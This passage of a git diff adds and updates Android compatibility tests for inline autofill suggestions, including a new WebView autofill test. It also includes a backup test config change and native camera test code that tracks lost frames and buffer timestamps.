+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
index 43c2abc..5c63891 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAuthenticationTest.java
@@ -38,6 +38,7 @@
 import android.platform.test.annotations.AppModeFull;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 import java.util.regex.Pattern;
 
@@ -61,6 +62,11 @@
         Helper.enableAutofillService(getContext(), SERVICE_NAME);
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testDatasetAuthTwoFields() throws Exception {
         datasetAuthTwoFields(/* cancelFirstAttempt */ false);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
index feba57c..595b7ea 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFillEventHistoryTest.java
@@ -39,6 +39,7 @@
 import android.support.test.uiautomator.UiObject2;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 import java.util.List;
 
@@ -62,6 +63,11 @@
         Helper.enableAutofillService(getContext(), SERVICE_NAME);
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testOneDatasetAndSave() throws Exception {
         enableService();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
index 6ea4607..c761d02 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
@@ -26,7 +26,9 @@
 import android.autofillservice.cts.Helper;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
+// TODO: Move any tests needed from here into DatasetFilteringInlineTest.
 /**
  * Tests for inline suggestion filtering. Tests for filtering datasets that need authentication are
  * in {@link InlineAuthenticationTest}.
@@ -44,6 +46,11 @@
         Helper.enableAutofillService(getContext(), SERVICE_NAME);
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testFiltering_filtersByPrefix() throws Exception {
         enableService();
@@ -100,6 +107,11 @@
                         .setField(ID_USERNAME, "sergey")
                         .setPresentation(createPresentation("sergey"))
                         .setInlinePresentation(createInlinePresentation("sergey"))
+                        .build())
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "page")
+                        .setPresentation(createPresentation("page"))
+                        .setInlinePresentation(createInlinePresentation("page"))
                         .build());
         sReplier.addResponse(builder.build());
 
@@ -124,9 +136,11 @@
         mActivity.onUsername((v) -> v.setText("se"));
         mUiBot.waitForIdleSync();
         mUiBot.assertNoDatasets();
+
+        // Clear the text, then check that all suggestions are shown.
         mActivity.onUsername((v) -> v.setText(""));
         mUiBot.waitForIdleSync();
-        mUiBot.assertNoDatasetsEver();
+        mUiBot.assertDatasets("sergey", "page");
     }
 
     /**
@@ -160,7 +174,7 @@
         mUiBot.assertNoDatasets();
         mActivity.onUsername((v) -> v.setText(""));
         mUiBot.waitForIdleSync();
-        mUiBot.assertNoDatasetsEver();
+        mUiBot.assertDatasets("sergey");
     }
 
     @Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index 204bb43..6aff0d5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -16,6 +16,7 @@
 
 package android.autofillservice.cts.inline;
 
+import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
 import static android.autofillservice.cts.Helper.ID_PASSWORD;
 import static android.autofillservice.cts.Helper.ID_USERNAME;
 import static android.autofillservice.cts.Helper.assertTextIsSanitized;
@@ -27,16 +28,27 @@
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assume.assumeTrue;
+
 import android.app.PendingIntent;
 import android.autofillservice.cts.CannedFillResponse;
 import android.autofillservice.cts.DummyActivity;
 import android.autofillservice.cts.Helper;
 import android.autofillservice.cts.InstrumentedAutoFillService;
 import android.autofillservice.cts.LoginActivityCommonTestCase;
+import android.autofillservice.cts.NonAutofillableActivity;
+import android.autofillservice.cts.UsernameOnlyActivity;
 import android.content.Intent;
+import android.os.Binder;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
 import android.service.autofill.FillContext;
+import android.support.test.uiautomator.Direction;
+
+import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 public class InlineLoginActivityTest extends LoginActivityCommonTestCase {
 
@@ -56,6 +68,11 @@
         return true;
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testAutofill_disjointDatasets() throws Exception {
         // Set service.
@@ -120,6 +137,62 @@
     }
 
     @Test
+    public void testAutofill_SwitchToAutofillableActivity() throws Exception {
+        assertAutofill_SwitchActivity(UsernameOnlyActivity.class, /* autofillable */ true);
+    }
+
+    @Test
+    public void testAutofill_SwitchToNonAutofillableActivity() throws Exception {
+        assertAutofill_SwitchActivity(NonAutofillableActivity.class, /* autofillable */ false);
+    }
+
+    private void assertAutofill_SwitchActivity(Class<?> clazz, boolean autofillable)
+            throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "password")
+                        .setPresentation(createPresentation("The Username"))
+                        .setInlinePresentation(createInlinePresentation("The Username"))
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+        sReplier.getNextFillRequest();
+        // Make sure the suggestion is shown.
+        mUiBot.assertDatasets("The Username");
+
+        mUiBot.pressHome();
+        mUiBot.waitForIdle();
+
+        // Switch to another Activity
+        startActivity(clazz);
+        mUiBot.waitForIdle();
+
+        // Trigger input method show.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+        if (autofillable) {
+            sReplier.addResponse(NO_RESPONSE);
+            sReplier.getNextFillRequest();
+        }
+        // Make sure suggestion is not shown.
+        mUiBot.assertNoDatasets();
+    }
+
+    protected final void startActivity(Class<?> clazz) {
+        final Intent intent = new Intent(mContext, clazz);
+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        mContext.startActivity(intent);
+    }
+
+    @Test
     public void testAutofill_selectDatasetThenHideInlineSuggestion() throws Exception {
         // Set service.
         enableService();
@@ -198,4 +271,129 @@
         sReplier.getNextFillRequest();
         mUiBot.waitForIdleSync();
     }
+
+    @Test
+    public void testAutofill_noInvalid() throws Exception {
+        final String keyInvalid = "invalid";
+        final String keyValid = "valid";
+        final String message = "Passes valid message to the remote service";
+        final Bundle bundle = new Bundle();
+        bundle.putBinder(keyInvalid, new Binder());
+        bundle.putString(keyValid, message);
+
+        // Set service.
+        enableService();
+        final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
+        assumeTrue("MockIME not available", mockImeSession != null);
+
+        mockImeSession.callSetInlineSuggestionsExtras(bundle);
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("The Username"))
+                        .setInlinePresentation(createInlinePresentation("The Username"))
+                        .build());
+
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertDatasets("The Username");
+
+        final InstrumentedAutoFillService.FillRequest request = sReplier.getNextFillRequest();
+        final Bundle extras = request.inlineRequest.getExtras();
+        assertThat(extras.get(keyInvalid)).isNull();
+        assertThat(extras.getString(keyValid)).isEqualTo(message);
+
+        final Bundle style = request.inlineRequest.getInlinePresentationSpecs().get(0).getStyle();
+        assertThat(style.get(keyInvalid)).isNull();
+        assertThat(style.getString(keyValid)).isEqualTo(message);
+
+        final Bundle style2 = request.inlineRequest.getInlinePresentationSpecs().get(1).getStyle();
+        assertThat(style2.get(keyInvalid)).isNull();
+        assertThat(style2.getString(keyValid)).isEqualTo(message);
+    }
+
+    @Test
+    @AppModeFull(reason = "WRITE_SECURE_SETTING permission can't be grant to instant apps")
+    public void testSwitchInputMethod() throws Exception {
+        // Set service
+        enableService();
+
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setPresentation(createPresentation("The Username"))
+                        .setInlinePresentation(createInlinePresentation("The Username"))
+                        .build());
+
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertDatasets("The Username");
+
+        sReplier.getNextFillRequest();
+
+        // Trigger IME switch event
+        Helper.mockSwitchInputMethod(sContext);
+        mUiBot.waitForIdleSync();
+
+        final CannedFillResponse.Builder builder2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude2")
+                        .setPresentation(createPresentation("The Username 2"))
+                        .setInlinePresentation(createInlinePresentation("The Username 2"))
+                        .build());
+
+        sReplier.addResponse(builder2.build());
+
+        // Trigger auto-fill
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+
+        // Confirm new suggestion
+        mUiBot.assertDatasets("The Username 2");
+
+        // Confirm new fill request
+        sReplier.getNextFillRequest();
+    }
+
+    @Test
+    public void testScrollSuggestionView() throws Exception {
+        // Set service.
+        enableService();
+
+        final int firstDataset = 1;
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder();
+        for (int i = firstDataset; i <= 20; i++) {
+            builder.addDataset(new CannedFillResponse.CannedDataset.Builder()
+                    .setField(ID_USERNAME, "dude" + i)
+                    .setPresentation(createPresentation("Username" + i))
+                    .setInlinePresentation(createInlinePresentation("Username" + i))
+                    .build());
+        }
+
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertSuggestion("Username" + firstDataset);
+
+        // Scroll the suggestion view
+        mUiBot.scrollSuggestionView(Direction.RIGHT, /* speed */ 5000);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertNoSuggestion("Username" + firstDataset);
+
+        sReplier.getNextFillRequest();
+        mUiBot.waitForIdleSync();
+    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
index c2b5515..42f4f16 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineSimpleSaveActivityTest.java
@@ -36,6 +36,7 @@
 import androidx.annotation.NonNull;
 
 import org.junit.Test;
+import org.junit.rules.TestRule;
 
 public class InlineSimpleSaveActivityTest
         extends AutoFillServiceTestCase.AutoActivityLaunch<SimpleSaveActivity> {
@@ -63,6 +64,11 @@
         };
     }
 
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
     @Test
     public void testAutofillSave() throws Exception {
         // Set service.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
index 463fd7b..af53383 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineUiBot.java
@@ -21,13 +21,19 @@
 import static android.autofillservice.cts.Timeouts.UI_TIMEOUT;
 
 import android.autofillservice.cts.UiBot;
+import android.content.pm.PackageManager;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
+import android.support.test.uiautomator.Direction;
 import android.support.test.uiautomator.UiObject2;
 
+import com.android.compatibility.common.util.RequiredFeatureRule;
 import com.android.compatibility.common.util.Timeout;
 import com.android.cts.mockime.MockIme;
 
+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
 /**
  * UiBot for the inline suggestion.
  */
@@ -38,6 +44,9 @@
 
     private static final BySelector SUGGESTION_STRIP_SELECTOR = By.desc(SUGGESTION_STRIP_DESC);
 
+    private static final RequiredFeatureRule REQUIRES_IME_RULE = new RequiredFeatureRule(
+            PackageManager.FEATURE_INPUT_METHODS);
+
     public InlineUiBot() {
         this(UI_TIMEOUT);
     }
@@ -46,6 +55,10 @@
         super(defaultTimeout);
     }
 
+    public static RuleChain annotateRule(TestRule rule) {
+        return RuleChain.outerRule(REQUIRES_IME_RULE).around(rule);
+    }
+
     @Override
     public void assertNoDatasets() throws Exception {
         assertNoDatasetsEver();
@@ -90,6 +103,30 @@
         return assertDatasets(picker, names);
     }
 
+    @Override
+    public void assertSuggestion(String name) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 dataset = strip.findObject(By.text(name));
+        if (dataset == null) {
+            throw new AssertionError("no dataset " + name + " in " + getChildrenAsText(strip));
+        }
+    }
+
+    @Override
+    public void assertNoSuggestion(String name) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        final UiObject2 dataset = strip.findObject(By.text(name));
+        if (dataset != null) {
+            throw new AssertionError("has dataset " + name + " in " + getChildrenAsText(strip));
+        }
+    }
+
+    @Override
+    public void scrollSuggestionView(Direction direction, int speed) throws Exception {
+        final UiObject2 strip = findSuggestionStrip(UI_TIMEOUT);
+        strip.fling(direction, speed);
+    }
+
     private UiObject2 findSuggestionStrip(Timeout timeout) throws Exception {
         return waitForObject(SUGGESTION_STRIP_SELECTOR, timeout);
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
new file mode 100644
index 0000000..63cf648
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineWebViewActivityTest.java
@@ -0,0 +1,240 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.inline;
+
+import static android.autofillservice.cts.Helper.getContext;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_PASSWORD;
+import static android.autofillservice.cts.WebViewActivity.HTML_NAME_USERNAME;
+import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.AbstractWebViewTestCase;
+import android.autofillservice.cts.AutofillActivityTestRule;
+import android.autofillservice.cts.CannedFillResponse;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.Helper;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.autofillservice.cts.MyWebView;
+import android.autofillservice.cts.WebViewActivity;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.ViewStructure.HtmlInfo;
+
+import org.junit.Test;
+import org.junit.rules.TestRule;
+
+public class InlineWebViewActivityTest extends AbstractWebViewTestCase<WebViewActivity> {
+
+    private static final String TAG = "InlineWebViewActivityTest";
+    private WebViewActivity mActivity;
+
+    public InlineWebViewActivityTest() {
+        super(getInlineUiBot());
+    }
+
+    @Override
+    protected AutofillActivityTestRule<WebViewActivity> getActivityRule() {
+        return new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
+            @Override
+            protected void beforeActivityLaunched() {
+                super.beforeActivityLaunched();
+                Log.i(TAG, "Setting service before launching the activity");
+                enableService();
+            }
+
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Override
+    protected void enableService() {
+        Helper.enableAutofillService(getContext(), SERVICE_NAME);
+    }
+
+    @Override
+    protected boolean isInlineMode() {
+        return true;
+    }
+
+    @Override
+    public TestRule getMainTestRule() {
+        return InlineUiBot.annotateRule(super.getMainTestRule());
+    }
+
+    @Test
+    public void testAutofillNoDatasets() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        mActivity.loadWebView(mUiBot);
+
+        // Set expectations.
+        sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        sReplier.getNextFillRequest();
+
+        // Assert not shown.
+        mUiBot.assertNoDatasetsEver();
+    }
+
+    @Test
+    public void testAutofillOneDataset() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+        mUiBot.waitForIdleSync();
+        // Sanity check to make sure autofill is enabled in the application context
+        Helper.assertAutofillEnabled(myWebView.getContext(), true);
+
+        // Set expectations.
+        myWebView.expectAutofill("dude", "sweet");
+        sReplier.addResponse(new CannedDataset.Builder()
+                .setField(HTML_NAME_USERNAME, "dude")
+                .setField(HTML_NAME_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .setInlinePresentation(createInlinePresentation("The Dude"))
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        mUiBot.waitForIdleSync();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Change focus around
+        mActivity.getUsernameLabel().click();
+        mUiBot.waitForIdleSync();
+        mUiBot.assertNoDatasets();
+        mActivity.getPasswordInput().click();
+        mUiBot.waitForIdleSync();
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("The Dude");
+
+        // Now Autofill it.
+        mUiBot.selectDataset(datasetPicker, "The Dude");
+        myWebView.assertAutofilled();
+        mUiBot.assertNoDatasets();
+
+        try {
+            final ViewNode webViewNode =
+                    Helper.findWebViewNodeByFormName(fillRequest.structure, "FORM AM I");
+            assertThat(webViewNode.getClassName()).isEqualTo("android.webkit.WebView");
+            assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
+            assertThat(webViewNode.getWebScheme()).isEqualTo("https");
+
+            final ViewNode usernameNode =
+                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_USERNAME);
+            Helper.assertTextIsSanitized(usernameNode);
+            final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
+            Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
+            Helper.assertHasAttribute(usernameHtmlInfo, "name", "username");
+            assertThat(usernameNode.isFocused()).isTrue();
+            assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+            assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
+
+            final ViewNode passwordNode =
+                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_PASSWORD);
+            Helper.assertTextIsSanitized(passwordNode);
+            final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
+            Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
+            Helper.assertHasAttribute(passwordHtmlInfo, "name", "password");
+            assertThat(passwordNode.getAutofillHints()).asList()
+                    .containsExactly("current-password");
+            assertThat(passwordNode.getHint()).isEqualTo("Holder it like it cannnot passer a word");
+            assertThat(passwordNode.isFocused()).isFalse();
+        } catch (RuntimeException | Error e) {
+            Helper.dumpStructure("failed on testAutofillOneDataset()", fillRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    public void testAutofillAndSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+
+        // Set expectations.
+        myWebView.expectAutofill("dude", "sweet");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude")
+                        .setField(HTML_NAME_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .setInlinePresentation(createInlinePresentation("The Dude"))
+                        .build())
+                .build());
+
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Assert structure passed to service.
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameNode);
+        assertThat(usernameNode.isFocused()).isTrue();
+        assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordNode);
+        assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
+        assertThat(passwordNode.isFocused()).isFalse();
+
+        // Autofill it.
+        mUiBot.selectDataset("The Dude");
+        myWebView.assertAutofilled();
+
+        // Now trigger save.
+        mActivity.getUsernameInput().click();
+        mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+        mActivity.getPasswordInput().click();
+        mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
+        mActivity.getLoginButton().click();
+
+        // Assert save UI shown.
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+
+        Helper.assertTextAndValue(usernameNode2, "dudeu");
+        Helper.assertTextAndValue(passwordNode2, "sweetp");
+    }
+}
diff --git a/tests/backup/AndroidTest.xml b/tests/backup/AndroidTest.xml
index 1f99fdb..ec0ade5 100644
--- a/tests/backup/AndroidTest.xml
+++ b/tests/backup/AndroidTest.xml
@@ -27,6 +27,7 @@
        -remove SwitchUserTargetPreparer
     -->
     <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system" />
     </target_preparer>
diff --git a/tests/camera/libctscamera2jni/native-camera-jni.cpp b/tests/camera/libctscamera2jni/native-camera-jni.cpp
index 31218db..f853468 100644
--- a/tests/camera/libctscamera2jni/native-camera-jni.cpp
+++ b/tests/camera/libctscamera2jni/native-camera-jni.cpp
@@ -314,7 +314,7 @@
     ~CaptureResultListener() {
         std::unique_lock<std::mutex> l(mMutex);
         clearSavedRequestsLocked();
-        clearFailedFrameNumbersLocked();
+        clearFailedLostFrameNumbersLocked();
     }
 
     static void onCaptureStart(void* /*obj*/, ACameraCaptureSession* /*session*/,
@@ -496,7 +496,7 @@
         }
         CaptureResultListener* thiz = reinterpret_cast<CaptureResultListener*>(obj);
         std::lock_guard<std::mutex> lock(thiz->mMutex);
-        thiz->mLastLostFrameNumber = frameNumber;
+        thiz->mBufferLostFrameNumbers.insert(frameNumber);
         thiz->mResultCondition.notify_one();
     }
 
@@ -524,7 +524,7 @@
         std::unique_lock<std::mutex> l(mMutex);
 
         while ((mLastCompletedFrameNumber != frameNumber) &&
-                (mLastLostFrameNumber != frameNumber) && !checkForFailureLocked(frameNumber)) {
+                !checkForFailureOrLossLocked(frameNumber)) {
             auto timeout = std::chrono::system_clock::now() +
                            std::chrono::seconds(timeoutSec);
             if (std::cv_status::timeout == mResultCondition.wait_until(l, timeout)) {
@@ -533,7 +533,7 @@
         }
 
         if ((mLastCompletedFrameNumber == frameNumber) ||
-                (mLastLostFrameNumber == frameNumber) || checkForFailureLocked(frameNumber)) {
+                checkForFailureOrLossLocked(frameNumber)) {
             ret = true;
         }
 
@@ -562,9 +562,9 @@
         }
     }
 
-    bool checkForFailure(int64_t frameNumber) {
+    bool checkForFailureOrLoss(int64_t frameNumber) {
         std::lock_guard<std::mutex> lock(mMutex);
-        return checkForFailureLocked(frameNumber);
+        return checkForFailureOrLossLocked(frameNumber);
     }
 
     void reset() {
@@ -572,10 +572,9 @@
         mLastSequenceIdCompleted = -1;
         mLastSequenceFrameNumber = -1;
         mLastCompletedFrameNumber = -1;
-        mLastLostFrameNumber = -1;
         mSaveCompletedRequests = false;
         clearSavedRequestsLocked();
-        clearFailedFrameNumbersLocked();
+        clearFailedLostFrameNumbersLocked();
     }
 
   private:
@@ -584,8 +583,7 @@
     int mLastSequenceIdCompleted = -1;
     int64_t mLastSequenceFrameNumber = -1;
     int64_t mLastCompletedFrameNumber = -1;
-    int64_t mLastLostFrameNumber = -1;
-    std::set<int64_t> mFailedFrameNumbers;
+    std::set<int64_t> mFailedFrameNumbers, mBufferLostFrameNumbers;
     bool    mSaveCompletedRequests = false;
     std::vector<ACaptureRequest*> mCompletedRequests;
     // Registered physical camera Ids that are being requested upon.
@@ -598,17 +596,23 @@
         mCompletedRequests.clear();
     }
 
-    void clearFailedFrameNumbersLocked() {
+    void clearFailedLostFrameNumbersLocked() {
         mFailedFrameNumbers.clear();
+        mBufferLostFrameNumbers.clear();
     }
 
-    bool checkForFailureLocked(int64_t frameNumber) {
-        return mFailedFrameNumbers.find(frameNumber) != mFailedFrameNumbers.end();
+    bool checkForFailureOrLossLocked(int64_t frameNumber) {
+        return (mFailedFrameNumbers.find(frameNumber) != mFailedFrameNumbers.end()) ||
+                (mBufferLostFrameNumbers.find(frameNumber) != mBufferLostFrameNumbers.end());
     }
 };
 
 class ImageReaderListener {
   public:
+    ImageReaderListener() {
+        mBufferTs.insert(mLastBufferTs);
+    }
+
     // count, acquire, validate, and delete AImage when a new image is available
     static void validateImageCb(void* obj, AImageReader* reader) {
         ALOGV("%s", __FUNCTION__);
@@ -721,11 +725,73 @@
         mDumpFilePathBase = path;
     }
 
+    // acquire image, query the corresponding timestamp but not delete the image
+    static void signalImageCb(void* obj, AImageReader* reader) {
+        ALOGV("%s", __FUNCTION__);
+        if (obj == nullptr) {
+            return;
+        }
+        ImageReaderListener* thiz = reinterpret_cast<ImageReaderListener*>(obj);
+        std::lock_guard<std::mutex> lock(thiz->mMutex);
+
+        AImage* img = nullptr;
+        media_status_t ret = AImageReader_acquireNextImage(reader, &img);
+        if (ret != AMEDIA_OK || img == nullptr) {
+            ALOGE("%s: acquire image from reader %p failed! ret: %d, img %p",
+                    __FUNCTION__, reader, ret, img);
+            thiz->mBufferCondition.notify_one();
+            return;
+        }
+
+        int64_t currentTs = -1;
+        ret = AImage_getTimestamp(img, &currentTs);
+        if (ret != AMEDIA_OK || currentTs == -1) {
+            ALOGE("%s: acquire image from reader %p failed! ret: %d", __FUNCTION__, reader, ret);
+            AImage_delete(img);
+            thiz->mBufferCondition.notify_one();
+            return;
+        }
+
+        thiz->mBufferTs.insert(currentTs);
+        thiz->mBufferCondition.notify_one();
+        return;
+    }
+
+    bool waitForNextBuffer(uint32_t timeoutSec) {
+        bool ret = false;
+        std::unique_lock<std::mutex> l(mMutex);
+
+        auto it = mBufferTs.find(mLastBufferTs);
+        if (it == mBufferTs.end()) {
+            ALOGE("%s: Last buffer timestamp: %" PRId64 " not found!", __FUNCTION__, mLastBufferTs);
+            return false;
+        }
+        it++;
+
+        if (it == mBufferTs.end()) {
+            auto timeout = std::chrono::system_clock::now() + std::chrono::seconds(timeoutSec);
+            if (std::cv_status::no_timeout == mBufferCondition.wait_until(l, timeout)) {
+                it = mBufferTs.find(mLastBufferTs);
+                it++;
+            }
+        }
+
+        if (it != mBufferTs.end()) {
+            mLastBufferTs = *it;
+            ret = true;
+        }
+
+        return ret;
+    }
+
   private:
     // TODO: add mReader to make sure each listener is associated to one reader?
     std::mutex mMutex;
     int mOnImageAvailableCount = 0;
     const char* mDumpFilePathBase = nullptr;
+    std::condition_variable mBufferCondition;
+    int64_t mLastBufferTs = -1;
